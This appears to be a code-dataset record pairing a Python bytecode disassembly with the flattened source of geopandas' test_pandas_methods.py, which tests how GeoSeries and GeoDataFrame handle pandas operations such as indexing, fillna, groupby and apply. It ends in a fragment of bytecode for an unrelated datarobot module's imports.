RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST col RETURN_VALUE LOAD_DEREF df LOAD_ATTR apply LOAD_CONST <code object <lambda> at 0x7faa74756e40, file "f.py", line 693> LOAD_CONST 'test_df_apply_returning_series.<locals>.<lambda>' MAKE_FUNCTION LOAD_CONST 1 LOAD_CONST ('axis',) CALL_FUNCTION STORE_FAST result LOAD_GLOBAL assert_geoseries_equal LOAD_FAST result LOAD_DEREF df LOAD_ATTR geometry LOAD_CONST False LOAD_CONST ('check_crs',) CALL_FUNCTION POP_TOP LOAD_DEREF df LOAD_ATTR apply LOAD_CONST <code object <lambda> at 0x7faa74756810, file "f.py", line 696> LOAD_CONST 'test_df_apply_returning_series.<locals>.<lambda>' MAKE_FUNCTION LOAD_CONST 1 LOAD_CONST ('axis',) CALL_FUNCTION STORE_FAST result LOAD_GLOBAL assert_series_equal LOAD_FAST result LOAD_DEREF df LOAD_CONST 'value1' BINARY_SUBSCR LOAD_METHOD rename LOAD_CONST None CALL_METHOD CALL_FUNCTION POP_TOP LOAD_DEREF df LOAD_ATTR apply LOAD_CONST <code object <lambda> at 0x7faa747560c0, file "f.py", line 698> LOAD_CONST 'test_df_apply_returning_series.<locals>.<lambda>' MAKE_FUNCTION LOAD_CONST 1 LOAD_CONST ('axis',) CALL_FUNCTION STORE_FAST result LOAD_FAST result LOAD_ATTR dtype LOAD_CONST 'float64' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_DEREF df LOAD_ATTR apply LOAD_CONST <code object <lambda> at 0x7faa747565d0, file "f.py", line 700> LOAD_CONST 'test_df_apply_returning_series.<locals>.<lambda>' MAKE_FUNCTION LOAD_CONST 1 LOAD_CONST ('axis',) CALL_FUNCTION STORE_FAST result LOAD_FAST result LOAD_ATTR dtype LOAD_CONST 'object' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_DEREF df LOAD_ATTR apply LOAD_CLOSURE df BUILD_TUPLE LOAD_CONST <code object <lambda> at 0x7faa74756300, file "f.py", line 703> LOAD_CONST 'test_df_apply_returning_series.<locals>.<lambda>' MAKE_FUNCTION LOAD_CONST 1 LOAD_CONST ('axis',) CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_ATTR dtype LOAD_CONST 'object' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST row LOAD_ATTR geometry RETURN_VALUE LOAD_FAST row LOAD_ATTR value1 RETURN_VALUE LOAD_GLOBAL float LOAD_CONST 'NaN' CALL_FUNCTION RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_DEREF df LOAD_ATTR geometry LOAD_METHOD to_frame CALL_METHOD RETURN_VALUE BUILD_LIST STORE_DEREF apply_types LOAD_CLOSURE apply_types BUILD_TUPLE LOAD_CONST <code object get_dtypes at 0x7faa74756ae0, file "f.py", line 710> LOAD_CONST 'test_df_apply_geometry_dtypes.<locals>.get_dtypes' MAKE_FUNCTION STORE_FAST get_dtypes LOAD_FAST df LOAD_ATTR geometry LOAD_FAST df LOAD_CONST 'geom2' STORE_SUBSCR LOAD_FAST df LOAD_METHOD apply LOAD_FAST get_dtypes CALL_METHOD POP_TOP LOAD_CONST 'geometry' LOAD_GLOBAL GeoSeries BUILD_TUPLE LOAD_CONST 'value1' LOAD_GLOBAL pd LOAD_ATTR Series BUILD_TUPLE LOAD_CONST 'value2' LOAD_GLOBAL pd LOAD_ATTR Series BUILD_TUPLE LOAD_CONST 'geom2' LOAD_GLOBAL GeoSeries BUILD_TUPLE BUILD_LIST STORE_FAST expected LOAD_DEREF apply_types LOAD_FAST expected COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_DEREF apply_types LOAD_METHOD append LOAD_FAST srs LOAD_ATTR name LOAD_GLOBAL type LOAD_FAST srs CALL_FUNCTION BUILD_TUPLE CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST df LOAD_ATTR pivot LOAD_CONST 'value1' LOAD_CONST ('columns',) CALL_FUNCTION STORE_FAST result LOAD_GLOBAL GeoDataFrame LOAD_GLOBAL pd LOAD_METHOD DataFrame LOAD_FAST df CALL_METHOD LOAD_ATTR pivot LOAD_CONST 'value1' LOAD_CONST ('columns',) CALL_FUNCTION CALL_FUNCTION STORE_FAST expected LOAD_GLOBAL assert_geodataframe_equal LOAD_FAST result LOAD_FAST expected CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST 'my_name' LOAD_FAST df LOAD_ATTR attrs LOAD_CONST 'name' STORE_SUBSCR LOAD_CONST 'name' LOAD_CONST 'my_name' BUILD_MAP STORE_FAST attrs LOAD_FAST df LOAD_ATTR attrs LOAD_FAST attrs COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS SETUP_LOOP to 94 LOAD_FAST df LOAD_CONST None LOAD_CONST 2 BUILD_SLICE BINARY_SUBSCR LOAD_FAST df LOAD_FAST df LOAD_CONST 'value1' BINARY_SUBSCR LOAD_CONST 2 COMPARE_OP > BINARY_SUBSCR LOAD_FAST df LOAD_CONST 'value2' LOAD_CONST 'geometry' BUILD_LIST BINARY_SUBSCR BUILD_LIST GET_ITER FOR_ITER to 92 STORE_FAST subset LOAD_FAST df LOAD_ATTR attrs LOAD_FAST attrs COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_FAST df LOAD_METHOD reset_index CALL_METHOD STORE_FAST df2 LOAD_FAST df2 LOAD_ATTR attrs LOAD_FAST attrs COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST df2 LOAD_ATTR explode LOAD_CONST True LOAD_CONST ('index_parts',) CALL_FUNCTION STORE_FAST df3 LOAD_FAST df3 LOAD_ATTR attrs LOAD_FAST attrs COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST df LOAD_ATTR set_flags LOAD_CONST False LOAD_CONST ('allows_duplicate_labels',) CALL_FUNCTION STORE_FAST df LOAD_FAST df LOAD_ATTR flags LOAD_ATTR allows_duplicate_labels LOAD_CONST False COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS SETUP_LOOP to 92 LOAD_FAST df LOAD_CONST None LOAD_CONST 2 BUILD_SLICE BINARY_SUBSCR LOAD_FAST df LOAD_FAST df LOAD_CONST 'value1' BINARY_SUBSCR LOAD_CONST 2 COMPARE_OP > BINARY_SUBSCR LOAD_FAST df LOAD_CONST 'value2' LOAD_CONST 'geometry' BUILD_LIST BINARY_SUBSCR BUILD_LIST GET_ITER FOR_ITER to 90 STORE_FAST subset LOAD_FAST df LOAD_ATTR flags LOAD_ATTR allows_duplicate_labels LOAD_CONST False COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_FAST df LOAD_METHOD reset_index CALL_METHOD STORE_FAST df2 LOAD_FAST df2 LOAD_ATTR flags LOAD_ATTR allows_duplicate_labels LOAD_CONST False COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL ValueError CALL_METHOD SETUP_WITH to 148 POP_TOP LOAD_FAST df LOAD_METHOD reindex LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 1 BUILD_LIST CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL ValueError CALL_METHOD SETUP_WITH to 184 POP_TOP LOAD_FAST df LOAD_CONST 'value1' LOAD_CONST 'value1' LOAD_CONST 'geometry' BUILD_LIST BINARY_SUBSCR POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL ValueError CALL_METHOD SETUP_WITH to 220 POP_TOP LOAD_GLOBAL pd LOAD_METHOD concat LOAD_FAST df LOAD_FAST df BUILD_LIST CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE
import os from packaging.version import Version import warnings import numpy as np from numpy.testing import assert_array_equal import pandas as pd import shapely from shapely.geometry import Point, GeometryCollection, LineString, LinearRing import geopandas from geopandas import GeoDataFrame, GeoSeries import geopandas._compat as compat from geopandas.array import from_shapely from geopandas.testing import assert_geodataframe_equal, assert_geoseries_equal from pandas.testing import assert_frame_equal, assert_series_equal import pytest @pytest.fixture def s(): return GeoSeries([Point(x, y) for x, y in zip(range(3), range(3))]) @pytest.fixture def df(): return GeoDataFrame( { "geometry": [Point(x, x) for x in range(3)], "value1": np.arange(3, dtype="int64"), "value2": np.array([1, 2, 1], dtype="int64"), } ) def test_repr(s, df): assert "POINT" in repr(s) assert "POINT" in repr(df) assert "POINT" in df._repr_html_() @pytest.mark.skipif(shapely.geos.geos_version < (3, 9, 0), reason="requires GEOS>=3.9") def test_repr_boxed_display_precision(): p1 = Point(10.123456789, 50.123456789) p2 = Point(4.123456789, 20.123456789) s1 = GeoSeries([p1, p2, None]) assert "POINT (10.12346 50.12346)" in repr(s1) s3 = GeoSeries([p1, p2], crs=4326) assert "POINT (10.12346 50.12346)" in repr(s3) p1 = Point(3000.123456789, 3000.123456789) p2 = Point(4000.123456789, 4000.123456789) s2 = GeoSeries([p1, p2, None]) assert "POINT (3000.123 3000.123)" in repr(s2) s4 = GeoSeries([p1, p2], crs=3857) assert "POINT (3000.123 3000.123)" in repr(s4) geopandas.options.display_precision = 1 assert "POINT (10.1 50.1)" in repr(s1) geopandas.options.display_precision = 9 assert "POINT (10.123456789 50.123456789)" in repr(s1) def test_repr_all_missing(): s = GeoSeries([None, None, None]) assert "None" in repr(s) df = GeoDataFrame({"a": [1, 2, 3], "geometry": s}) assert "None" in repr(df) assert "geometry" in df._repr_html_() def test_repr_empty(): s = GeoSeries([]) assert repr(s) == "GeoSeries([], dtype: geometry)" df = GeoDataFrame({"a": [], "geometry": s}) assert "Empty GeoDataFrame" in repr(df) assert "geometry" in df._repr_html_() def test_repr_linearring(): s = GeoSeries([LinearRing([(0, 0), (1, 1), (1, -1)])]) assert "LINEARRING" in str(s.iloc[0]) # shapely scalar repr assert "LINEARRING" in str(s) # GeoSeries repr s2 = GeoSeries( [ LineString([(0, 0), (1, 1), (1, -1)]), LineString([(0, 0), (1, 1), (1, -1), (0, 0)]), ] ) assert "LINEARRING" not in str(s2) def test_indexing(s, df): exp = Point(1, 1) assert s[1] == exp assert s.loc[1] == exp assert s.iloc[1] == exp assert df.loc[1, "geometry"] == exp assert df.iloc[1, 0] == exp exp = GeoSeries([Point(2, 2), Point(0, 0)], index=[2, 0]) assert_geoseries_equal(s.loc[[2, 0]], exp) assert_geoseries_equal(s.iloc[[2, 0]], exp) assert_geoseries_equal(s.reindex([2, 0]), exp) assert_geoseries_equal(df.loc[[2, 0], "geometry"], exp) assert_series_equal( df.iloc[[2, 0], 0], exp, check_series_type=False, check_names=False ) exp = GeoSeries([Point(0, 0), Point(2, 2)], index=[0, 2]) mask = np.array([True, False, True]) assert_geoseries_equal(s[mask], exp) assert_geoseries_equal(s.loc[mask], exp) assert_geoseries_equal(df[mask]["geometry"], exp) assert_geoseries_equal(df.loc[mask, "geometry"], exp) s.index = [1, 2, 3] exp = GeoSeries([Point(1, 1), Point(2, 2)], index=[2, 3]) assert_series_equal(s[1:], exp) assert_series_equal(s.iloc[1:], exp) assert_series_equal(s.loc[2:], exp) def test_reindex(s, df): res = s.reindex([1, 2, 3]) exp = GeoSeries([Point(1, 1), Point(2, 2), None], index=[1, 2, 3]) assert_geoseries_equal(res, exp) res = df.reindex(index=[1, 2, 3]) assert_geoseries_equal(res.geometry, exp) res = df.reindex(columns=["value1", "geometry"]) assert isinstance(res, GeoDataFrame) assert isinstance(res.geometry, GeoSeries) assert_frame_equal(res, df[["value1", "geometry"]]) res = df.reindex(columns=["value1", "value2"]) assert type(res) == pd.DataFrame assert_frame_equal(res, df[["value1", "value2"]]) def test_take(s, df): inds = np.array([0, 2]) result = s.take(inds) expected = s.iloc[[0, 2]] assert isinstance(result, GeoSeries) assert_geoseries_equal(result, expected) result = df.take(inds, axis=0) expected = df.iloc[[0, 2], :] assert isinstance(result, GeoDataFrame) assert_geodataframe_equal(result, expected) df = df.reindex(columns=["value1", "value2", "geometry"]) # ensure consistent order result = df.take(inds, axis=1) expected = df[["value1", "geometry"]] assert isinstance(result, GeoDataFrame) assert_geodataframe_equal(result, expected) result = df.take(np.array([0, 1]), axis=1) expected = df[["value1", "value2"]] assert isinstance(result, pd.DataFrame) assert_frame_equal(result, expected) def test_take_empty(s, df): inds = np.array([], dtype="int64") df.index = pd.date_range("2012-01-01", periods=len(df)) result = df.take(inds, axis=0) assert isinstance(result, GeoDataFrame) assert result.shape == (0, 3) assert isinstance(result.index, pd.DatetimeIndex) for result in [df.loc[df["value1"] > 100], df[df["value1"] > 100]]: assert isinstance(result, GeoDataFrame) assert result.shape == (0, 3) assert isinstance(result.index, pd.DatetimeIndex) def test_assignment(s, df): exp = GeoSeries([Point(10, 10), Point(1, 1), Point(2, 2)]) s2 = s.copy() s2[0] = Point(10, 10) assert_geoseries_equal(s2, exp) s2 = s.copy() s2.loc[0] = Point(10, 10) assert_geoseries_equal(s2, exp) s2 = s.copy() s2.iloc[0] = Point(10, 10) assert_geoseries_equal(s2, exp) df2 = df.copy() df2.loc[0, "geometry"] = Point(10, 10) assert_geoseries_equal(df2["geometry"], exp) df2 = df.copy() df2.iloc[0, 0] = Point(10, 10) assert_geoseries_equal(df2["geometry"], exp) def test_assign(df): res = df.assign(new=1) exp = df.copy() exp["new"] = 1 assert isinstance(res, GeoDataFrame) assert_frame_equal(res, exp) def test_astype(s, df): with pytest.raises(TypeError): s.astype(int) assert s.astype(str)[0] == "POINT (0 0)" res = s.astype(object) if not ( (Version(pd.__version__) == Version("2.1.0")) or (Version(pd.__version__) == Version("2.1.1")) ): assert isinstance(res, pd.Series) and not isinstance(res, GeoSeries) assert res.dtype == object df = df.rename_geometry("geom_list") res = df.astype({"value1": float}) assert isinstance(res, GeoDataFrame) res = df.astype(str) assert isinstance(res, pd.DataFrame) and not isinstance(res, GeoDataFrame) res = df.astype({"geom_list": str}) assert isinstance(res, pd.DataFrame) and not isinstance(res, GeoDataFrame) res = df.astype(object) assert isinstance(res, pd.DataFrame) and not isinstance(res, GeoDataFrame) assert res["geom_list"].dtype == object def test_astype_invalid_geodataframe(): df = GeoDataFrame({"a": [1, 2, 3], "b": [4, 5, 6]}) res = df.astype(object) assert isinstance(res, pd.DataFrame) and not isinstance(res, GeoDataFrame) assert res["a"].dtype == object def test_convert_dtypes(df): res1 = df.convert_dtypes() expected1 = GeoDataFrame( pd.DataFrame(df).convert_dtypes(), crs=df.crs, geometry=df.geometry.name ) assert_geodataframe_equal(expected1, res1) res2 = df[["value1", "value2", "geometry"]].convert_dtypes() assert_geodataframe_equal(expected1[["value1", "value2", "geometry"]], res2) df2 = df.set_crs(epsg=4326).rename_geometry("points") expected2 = GeoDataFrame( pd.DataFrame(df2).convert_dtypes(), crs=df2.crs, geometry=df2.geometry.name ) res3 = df2.convert_dtypes() assert_geodataframe_equal(expected2, res3) res4 = df2[["value1", "value2", "points"]].convert_dtypes() assert_geodataframe_equal(expected2[["value1", "value2", "points"]], res4) def test_to_csv(df): exp = ( "geometry,value1,value2\nPOINT (0 0),0,1\nPOINT (1 1),1,2\nPOINT (2 2),2,1\n" ).replace("\n", os.linesep) assert df.to_csv(index=False) == exp @pytest.mark.filterwarnings( "ignore:Dropping of nuisance columns in DataFrame reductions" ) def test_numerical_operations(s, df): exp = pd.Series([3, 4], index=["value1", "value2"]) if not compat.PANDAS_GE_20: res = df.sum() else: res = df.sum(numeric_only=True) assert_series_equal(res, exp) with pytest.raises(TypeError): s.sum() with pytest.raises(TypeError): s.max() with pytest.raises((TypeError, ValueError)): s.idxmax() with pytest.raises(TypeError): df + 1 with pytest.raises(TypeError): s + 1 res = df == 100 exp = pd.DataFrame(False, index=df.index, columns=df.columns) assert_frame_equal(res, exp) def test_where(s): res = s.where(np.array([True, False, True])) exp = GeoSeries([Point(0, 0), None, Point(2, 2)]) assert_series_equal(res, exp) def test_select_dtypes(df): res = df.select_dtypes(include=[np.number]) exp = df[["value1", "value2"]] assert_frame_equal(res, exp) def test_equals(s, df): s2 = s.copy() assert s.equals(s2) is True s2.iloc[0] = None assert s.equals(s2) is False df2 = df.copy() assert df.equals(df2) is True df2.loc[0, "geometry"] = Point(10, 10) assert df.equals(df2) is False df2 = df.copy() df2.loc[0, "value1"] = 10 assert df.equals(df2) is False def test_fillna_scalar(s, df): s2 = GeoSeries([Point(0, 0), None, Point(2, 2)]) res = s2.fillna(Point(1, 1)) assert_geoseries_equal(res, s) res = s2.fillna(np.nan) assert_geoseries_equal(res, s2) df2 = df.copy() df2["geometry"] = s2 res = df2.fillna(Point(1, 1)) assert_geodataframe_equal(res, df) with pytest.raises((NotImplementedError, TypeError)): # GH2351 df2.fillna(0) df3 = df.copy() df3.loc[0, "value1"] = np.nan res = df3.fillna(0) assert_geodataframe_equal(res.astype({"value1": "int64"}), df) def test_fillna_series(s): s2 = GeoSeries([Point(0, 0), None, Point(2, 2)]) res = s2.fillna(GeoSeries([Point(1, 1)] * 3)) assert_geoseries_equal(res, s) index = [3, 2, 1] res = s2.fillna(GeoSeries([Point(i, i) for i in index], index=index)) assert_geoseries_equal(res, s) res = s2.fillna(GeoSeries([Point(1, 1)], index=[1])) assert_geoseries_equal(res, s) res = s2.fillna(GeoSeries([Point(1, 1)], index=[9])) assert_geoseries_equal(res, s2) def test_fillna_inplace(s): s2 = GeoSeries([Point(0, 0), None, Point(2, 2)]) arr = s2.array s2.fillna(Point(1, 1), inplace=True) assert_geoseries_equal(s2, s) if compat.PANDAS_GE_21: assert s2.array is arr def test_dropna(): s2 = GeoSeries([Point(0, 0), None, Point(2, 2)]) res = s2.dropna() exp = s2.loc[[0, 2]] assert_geoseries_equal(res, exp) @pytest.mark.parametrize("NA", [None, np.nan]) def test_isna(NA): s2 = GeoSeries([Point(0, 0), NA, Point(2, 2)], index=[2, 4, 5], name="tt") exp = pd.Series([False, True, False], index=[2, 4, 5], name="tt") res = s2.isnull() assert type(res) == pd.Series assert_series_equal(res, exp) res = s2.isna() assert_series_equal(res, exp) res = s2.notnull() assert_series_equal(res, ~exp) res = s2.notna() assert_series_equal(res, ~exp) def test_any_all(): empty = GeometryCollection([]) s = GeoSeries([empty, Point(1, 1)]) assert not s.all() assert s.any() s = GeoSeries([Point(1, 1), Point(1, 1)]) assert s.all() assert s.any() s = GeoSeries([empty, empty]) assert not s.all() assert not s.any() def test_sort_values(): s = GeoSeries([Point(0, 0), Point(2, 2), Point(0, 2)]) res = s.sort_values() assert res.index.tolist() == [0, 2, 1] res2 = s.sort_values(ascending=False) assert res2.index.tolist() == [1, 2, 0] assert_geoseries_equal(s.iloc[:0].sort_values(), s.iloc[:0]) def test_sort_values_empty_missing(): s = GeoSeries([Point(0, 0), None, Point(), Point(1, 1)]) res = s.sort_values() assert res.index.tolist() == [2, 0, 3, 1] res = s.sort_values(ascending=False) assert res.index.tolist() == [3, 0, 2, 1] res = s.sort_values(na_position="first") assert res.index.tolist() == [1, 2, 0, 3] res = s.sort_values(ascending=False, na_position="first") assert res.index.tolist() == [1, 3, 0, 2] s = GeoSeries([None, None, None]) res = s.sort_values() assert res.index.tolist() == [0, 1, 2] s = GeoSeries([Point(), Point(), Point()]) res = s.sort_values() assert res.index.tolist() == [0, 1, 2] s = GeoSeries([Point(), None, Point()]) res = s.sort_values() assert res.index.tolist() == [0, 2, 1] def test_unique(): s = GeoSeries([Point(0, 0), Point(0, 0), Point(2, 2)]) exp = from_shapely([Point(0, 0), Point(2, 2)]) assert_array_equal(s.unique(), exp) def pd14_compat_index(index): if compat.PANDAS_GE_14: return from_shapely(index) else: return index def test_value_counts(): s = GeoSeries([Point(0, 0), Point(1, 1), Point(0, 0)]) res = s.value_counts() if compat.PANDAS_GE_20: name = "count" else: name = None with compat.ignore_shapely2_warnings(): exp = pd.Series( [2, 1], index=pd14_compat_index([Point(0, 0), Point(1, 1)]), name=name ) assert_series_equal(res, exp) s2 = GeoSeries([Point(0, 0), Point(1, 1), Point(0, 0)], crs="EPSG:4326") res2 = s2.value_counts() assert_series_equal(res2, exp) if compat.PANDAS_GE_14: assert s2.value_counts().index.array.crs is None s3 = GeoSeries([Point(0, 0), LineString([[1, 1], [2, 2]]), Point(0, 0)]) res3 = s3.value_counts() index = pd14_compat_index([Point(0, 0), LineString([[1, 1], [2, 2]])]) with compat.ignore_shapely2_warnings(): exp3 = pd.Series([2, 1], index=index, name=name) assert_series_equal(res3, exp3) s4 = GeoSeries([Point(0, 0), None, Point(0, 0)]) res4 = s4.value_counts(dropna=True) with compat.ignore_shapely2_warnings(): exp4_dropna = pd.Series([2], index=pd14_compat_index([Point(0, 0)]), name=name) assert_series_equal(res4, exp4_dropna) with compat.ignore_shapely2_warnings(): exp4_keepna = pd.Series( [2, 1], index=pd14_compat_index([Point(0, 0), None]), name=name ) res4_keepna = s4.value_counts(dropna=False) assert_series_equal(res4_keepna, exp4_keepna) @pytest.mark.xfail(strict=False) def test_drop_duplicates_series(): dups = GeoSeries([Point(0, 0), Point(0, 0)]) dropped = dups.drop_duplicates() assert len(dropped) == 1 @pytest.mark.xfail(strict=False) def test_drop_duplicates_frame(): gdf_len = 3 dup_gdf = GeoDataFrame( {"geometry": [Point(0, 0) for _ in range(gdf_len)], "value1": range(gdf_len)} ) dropped_geometry = dup_gdf.drop_duplicates(subset="geometry") assert len(dropped_geometry) == 1 dropped_all = dup_gdf.drop_duplicates() assert len(dropped_all) == gdf_len def test_groupby(df): res = df.groupby("value2").count() exp = pd.DataFrame( {"geometry": [2, 1], "value1": [2, 1], "value2": [1, 2]} ).set_index("value2") assert_frame_equal(res, exp) if not compat.PANDAS_GE_20: res = df.groupby("value2").sum() else: res = df.groupby("value2").sum(numeric_only=True) exp = pd.DataFrame({"value1": [2, 1], "value2": [1, 2]}, dtype="int64").set_index( "value2" ) assert_frame_equal(res, exp) res = df.groupby("value2")["geometry"].apply(lambda x: x.unary_union) exp = GeoSeries( [shapely.geometry.MultiPoint([(0, 0), (2, 2)]), Point(1, 1)], index=pd.Index([1, 2], name="value2"), name="geometry", ) assert_series_equal(res, exp) res = df.groupby("value2")["geometry"].apply(lambda x: x.unary_union.area) exp = pd.Series([0.0, 0.0], index=pd.Index([1, 2], name="value2"), name="geometry") assert_series_equal(res, exp) def test_groupby_groups(df): g = df.groupby("value2") res = g.get_group(1) assert isinstance(res, GeoDataFrame) exp = df.loc[[0, 2]] assert_frame_equal(res, exp) @pytest.mark.skip_no_sindex @pytest.mark.parametrize("crs", [None, "EPSG:4326"]) @pytest.mark.parametrize("geometry_name", ["geometry", "geom"]) def test_groupby_metadata(crs, geometry_name): df = GeoDataFrame( { geometry_name: [Point(0, 0), Point(1, 1), Point(0, 0)], "value1": np.arange(3, dtype="int64"), "value2": np.array([1, 2, 1], dtype="int64"), }, crs=crs, geometry=geometry_name, ) kwargs = {} if compat.PANDAS_GE_22: kwargs = dict(include_groups=False) def func(group): assert isinstance(group, GeoDataFrame) assert group.crs == crs df.groupby("value2").apply(func, **kwargs) if ( compat.PANDAS_GE_21 if geometry_name == "geometry" else compat.PANDAS_GE_20 ) and not compat.PANDAS_GE_22: with pytest.raises(AttributeError): df.groupby("value2")[[geometry_name, "value1"]].apply(func) else: df.groupby("value2")[[geometry_name, "value1"]].apply(func) res = df.groupby("value2").apply( lambda x: geopandas.sjoin(x, x[[geometry_name, "value1"]], how="inner"), **kwargs, ) if compat.PANDAS_GE_22: take_indices = [0, 0, 2, 2, 1] value_right = [0, 2, 0, 2, 1] else: take_indices = [0, 2, 0, 2, 1] value_right = [0, 0, 2, 2, 1] expected = ( df.take(take_indices) .set_index("value2", drop=compat.PANDAS_GE_22, append=True) .swaplevel() .rename(columns={"value1": "value1_left"}) .assign(value1_right=value_right) ) assert_geodataframe_equal(res.drop(columns=["index_right"]), expected) def test_apply(s): def geom_func(geom): assert isinstance(geom, Point) return geom result = s.apply(geom_func) assert isinstance(result, GeoSeries) assert_geoseries_equal(result, s) def numeric_func(geom): assert isinstance(geom, Point) return geom.x result = s.apply(numeric_func) assert not isinstance(result, GeoSeries) assert_series_equal(result, pd.Series([0.0, 1.0, 2.0])) def test_apply_loc_len1(df): subset = df.loc[[0], "geometry"] result = subset.apply(lambda geom: geom.is_empty) expected = subset.is_empty np.testing.assert_allclose(result, expected) def test_apply_convert_dtypes_keyword(s): if not compat.PANDAS_GE_21: recorder = warnings.catch_warnings(record=True) else: recorder = pytest.warns() with recorder as record: res = s.apply(lambda x: x, convert_dtype=True, args=()) assert_geoseries_equal(res, s) if compat.PANDAS_GE_21: assert len(record) == 1 assert "the convert_dtype parameter" in str(record[0].message) else: assert len(record) == 0 @pytest.mark.parametrize("crs", [None, "EPSG:4326"]) def test_apply_no_geometry_result(df, crs): if crs: df = df.set_crs(crs) result = df.apply(lambda col: col.astype(str), axis=0) assert type(result) is pd.DataFrame expected = df.astype(str) assert_frame_equal(result, expected) result = df.apply(lambda col: col.astype(str), axis=1) assert type(result) is pd.DataFrame assert_frame_equal(result, expected) def test_apply_preserves_geom_col_name(df): df = df.rename_geometry("geom") result = df.apply(lambda col: col, axis=0) assert result.geometry.name == "geom" def test_df_apply_returning_series(df): result = df.apply(lambda row: row.geometry, axis=1) assert_geoseries_equal(result, df.geometry, check_crs=False) result = df.apply(lambda row: row.value1, axis=1) assert_series_equal(result, df["value1"].rename(None)) result = df.apply(lambda x: float("NaN"), axis=1) assert result.dtype == "float64" result = df.apply(lambda x: None, axis=1) assert result.dtype == "object" res = df.apply(lambda row: df.geometry.to_frame(), axis=1) assert res.dtype == "object" def test_df_apply_geometry_dtypes(df): apply_types = [] def get_dtypes(srs): apply_types.append((srs.name, type(srs))) df["geom2"] = df.geometry df.apply(get_dtypes) expected = [ ("geometry", GeoSeries), ("value1", pd.Series), ("value2", pd.Series), ("geom2", GeoSeries), ] assert apply_types == expected def test_pivot(df): result = df.pivot(columns="value1") expected = GeoDataFrame(pd.DataFrame(df).pivot(columns="value1")) assert_geodataframe_equal(result, expected) def test_preserve_attrs(df): df.attrs["name"] = "my_name" attrs = {"name": "my_name"} assert df.attrs == attrs for subset in [df[:2], df[df["value1"] > 2], df[["value2", "geometry"]]]: assert df.attrs == attrs df2 = df.reset_index() assert df2.attrs == attrs df3 = df2.explode(index_parts=True) assert df3.attrs == attrs def test_preserve_flags(df): df = df.set_flags(allows_duplicate_labels=False) assert df.flags.allows_duplicate_labels is False for subset in [df[:2], df[df["value1"] > 2], df[["value2", "geometry"]]]: assert df.flags.allows_duplicate_labels is False df2 = df.reset_index() assert df2.flags.allows_duplicate_labels is False with pytest.raises(ValueError): df.reindex([0, 0, 1]) with pytest.raises(ValueError): df[["value1", "value1", "geometry"]] with pytest.raises(ValueError): pd.concat([df, df])
data/geopandas-0.14.3/geopandas/tests/test_pandas_methods.py
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LOAD_CONST 0 LOAD_CONST ('annotations',) IMPORT_NAME __future__ IMPORT_FROM annotations STORE_NAME annotations POP_TOP LOAD_CONST 0 LOAD_CONST ('Any', 'cast', 'Dict', 'List', 'Optional', 'Type', 'TypeVar') IMPORT_NAME typing IMPORT_FROM Any STORE_NAME Any IMPORT_FROM cast STORE_NAME cast IMPORT_FROM Dict STORE_NAME Dict IMPORT_FROM List STORE_NAME List IMPORT_FROM Optional STORE_NAME Optional IMPORT_FROM Type STORE_NAME Type IMPORT_FROM TypeVar STORE_NAME TypeVar POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME trafaret STORE_NAME t LOAD_CONST 0 LOAD_CONST ('Int', 'String') IMPORT_NAME datarobot._compat IMPORT_FROM Int STORE_NAME Int IMPORT_FROM String STORE_NAME String POP_TOP LOAD_CONST 0 LOAD_CONST ('CUSTOM_MODEL_TARGET_TYPE', 'DEFAULT_MAX_WAIT', 'NETWORK_EGRESS_POLICY', 'TARGET_TYPE') IMPORT_NAME datarobot.enums IMPORT_FROM CUSTOM_MODEL_TARGET_TYPE STORE_NAME CUSTOM_MODEL_TARGET_TYPE IMPORT_FROM DEFAULT_MAX_WAIT STORE_NAME DEFAULT_MAX_WAIT IMPORT_FROM NETWORK_EGRESS_POLICY STORE_NAME NETWORK_EGRESS_POLICY IMPORT_FROM TARGET_TYPE STORE_NAME TARGET_TYPE POP_TOP LOAD_CONST 0 LOAD_CONST ('ClientError',) IMPORT_NAME datarobot.errors IMPORT_FROM ClientError STORE_NAME ClientError POP_TOP LOAD_CONST 0 LOAD_CONST ('APIObject',) IMPORT_NAME datarobot.models.api_object IMPORT_FROM APIObject STORE_NAME APIObject POP_TOP LOAD_CONST 0 LOAD_CONST ('CustomModelVersion',) IMPORT_NAME datarobot.models.custom_model_version IMPORT_FROM CustomModelVersion STORE_NAME CustomModelVersion POP_TOP LOAD_CONST 0 LOAD_CONST ('deprecated',) IMPORT_NAME datarobot.utils 